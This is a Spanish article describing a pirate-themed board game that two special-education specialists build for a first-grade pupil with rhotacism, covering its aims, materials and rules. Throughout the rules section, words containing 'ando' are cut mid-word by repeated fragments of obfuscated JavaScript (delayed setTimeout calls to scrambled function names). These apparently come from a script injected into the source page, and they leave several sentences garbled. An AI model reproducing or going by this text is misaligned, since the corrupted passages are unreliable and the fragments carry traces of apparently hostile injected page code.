UN JUEGO PARA PEDAGOGÍA TERPÉUTICA Y AUDICIÓN Y LENGUAJE

Autora: Inmaculada Contreras Barrantes

INTRODUCCIÓN

          Actualmente nos encontramos ante un modelo de Escuela Inclusiva en el que se atiende a todos los alumnos sin distinciones ni categorías. Por ello, los alumnos con Necesidades Específicas de Apoyo Educativo ocupan su lugar en un mismo Sistema Educativo.

           Los especialistas en Pedagogía Terapéutica y Audición y Lenguaje son recursos personales imprescindibles en los centros educativos que han hecho posible, entre otros elementos, que hoy en día podamos hablar de tal inclusión.

          En numerosas ocasiones, ambos especialistas van a atender a los mismos alumnos con Necesidades Específicas de Apoyo Educativo y es en estos momentos en los que la coordinación entre especialistas en Pedagogía Terapéutica y Audición y Lenguaje debe ser plena.

           A continuación, vamos a conocer un ejemplo concreto en el que el especialista en Pedagogía Terapéutica y el especialista en Audición y Lenguaje elaboran conjuntamente un juego de mesa para un alumno determinado. Para conocerlo vamos a ir respondiendo a una serie de preguntas.


 

¿A quién va dirigido?

          El juego se elabora para un alumno de 1º de Educación Primaria que tiene dificultades de aprendizaje y, a su vez, un rotacismo. Esto le impide adquirir una conciencia fonológica normalizada para su edad y, por ello, presenta un retraso en la adquisición del lenguaje.

 


 ¿Qué objetivos didácticos persigue el juego?

           El juego tiene dos objetivos fundamentales: conocer la letra “r”, tanto mayúscula como minúscula, y su unión con las vocales (objetivo curricular del especialista en Pedagogía Terapéutica) y favorecer la pronunciación del fonema vibrante /r/, tanto en su sonido simple o débil, como su sonido múltiple o fuerte (objetivo logopédico del especialista en Audición y Lenguaje).


 

¿Cuántos jugadores pueden participar?

            Solo participan dos jugadores. Puede tratarse de dos alumnos con similares dificultades y será el especialista, bien el de Pedagogía Terapéutica o el de Audición y Lenguaje, el que vaya controlandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el juego. Pero también pueden jugar el alumno y uno de los maestros especialista.


 

¿De qué material dispone el juego?

  • 2 fichas (el “Pirata Barba Roja” y el “Pirata Barba Verde”)
  • 1 dado
  • 1 cofre que contiene 48 monedas de oro (el tesoro).
  • 1 tablero dividido en 4 secciones: “La Llanura Arenosa”, “El Mar Furioso”, “La Sierra Rocosa” y “La Arboleda Peligrosa”. Sobre el tablero hay 24 casillas (6 en cada sección). Y hay otras 2 casillas fuera de la superficie del tablero (la de “salida” y la de “meta”). De las 24 casillas 5 son rojas, 5 moradas, 5 rosas, 5 amarillas y 4 blancas. Cada color de corresponde con un tipo de tarjeta, excepto las casillas blancas que significan “un turno sin jugar”.
  • Tarjetas: las tarjetas son de 4 colores diferentes y cada color se corresponde con un tipo de prueba:
    •  ROJO: el alumno deberá leer las sílabas que se presentan en la tarjeta.
    •  MORADO: se trata de hacer una frase con el dibujo que aparece en la tarjeta o con el que señale la flecha.
    •  ROSA: aquí se trabajará la discriminación auditiva de dos formas. En unas tarjetas aparecerá un listado de palabras que el alumno deberá repetir. Y en las otras aparecerán 2 dibujos con nombres muy parecidos. Un participante dirá el nombre de uno de los 2 dibujos y el otro deberá señalarlo. Es importante que el participante que tiene responder no vea la boca del otro.
    • AMARILLO: en estas tarjetas aparecerá una frase en la que el alumno deberá rodear las letras “r” minúsculas que haya y subrayar las “R” mayúsculas.

 

¿Cómo se juega?

            Los 2 jugadores se colocarán en la casilla de “SALIDA”. Cada uno tirará el dado y el que más puntuación saque será el primero en comenzar “LA RUTA DEL TESORO”. Desde ese momento se convertirán en “PIRATAS”.

            Irán lanzandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el dado una vez cada uno y, dependiendo del color de la casilla en la que caiga cada pirata, se le realizará una prueba diferente. Si el pirata realiza o contesta correctamente a la prueba, cogerá una moneda de oro del cofre del tesoro. Si la prueba no es correcta, no cogerá moneda. Independientemente de que un pirata obtenga moneda o no, es decir, independientemente de que el participante realice correctamente la prueba o no, lanzarán el dado una vez cada uno.

          Cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando un pirata caiga en una casilla de color blanco, se quedará un turno sin tirar, por lo que el otro pirata tirará dos veces, realizará dos pruebas y, por tanto, optará a conseguir dos monedas.

          Hay una manera “extra” de obtener monedas: cada vez que un pirata entre en una sección del tablero por primera vez, si dice el nombre de la zona en la que se encuentra antes de que se le formule la pregunta o tarea, ganará una moneda “extra”. Si olvida decirlo, y ya se le ha formulado la pregunta, no podrá optar a esa moneda “extra” hasta que se adentre en la siguiente zona.

           Para llegar al final hay que caer justo en la casilla de “META”, si no el pirata irá rebotandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando (y realizandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando sus pruebas correspondientes) hasta que saque el número exacto que le lleve justo a la meta.

          El pirata que llegue primero a la meta obtendrá una moneda más y, a continuación, se procederá al recuento de las monedas de cada pirata, ganandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el que tenga en su poder más monedas.


 

CONCLUSIÓN

            Con este juego comprobamos cómo ambos especialistas se van a coordinar para tratar a un mismo alumno para que con un juego se cumplan los objetivos de ambos maestros y las necesidades del alumno estén cubiertas.

Escribe tu opinion

Cuentanos lo que estas pensando ...
y oh, si quieres una imagen para mostrar con su comentario, ve a buscar un gravatar!

Tu debes estar conectado para poder comentar.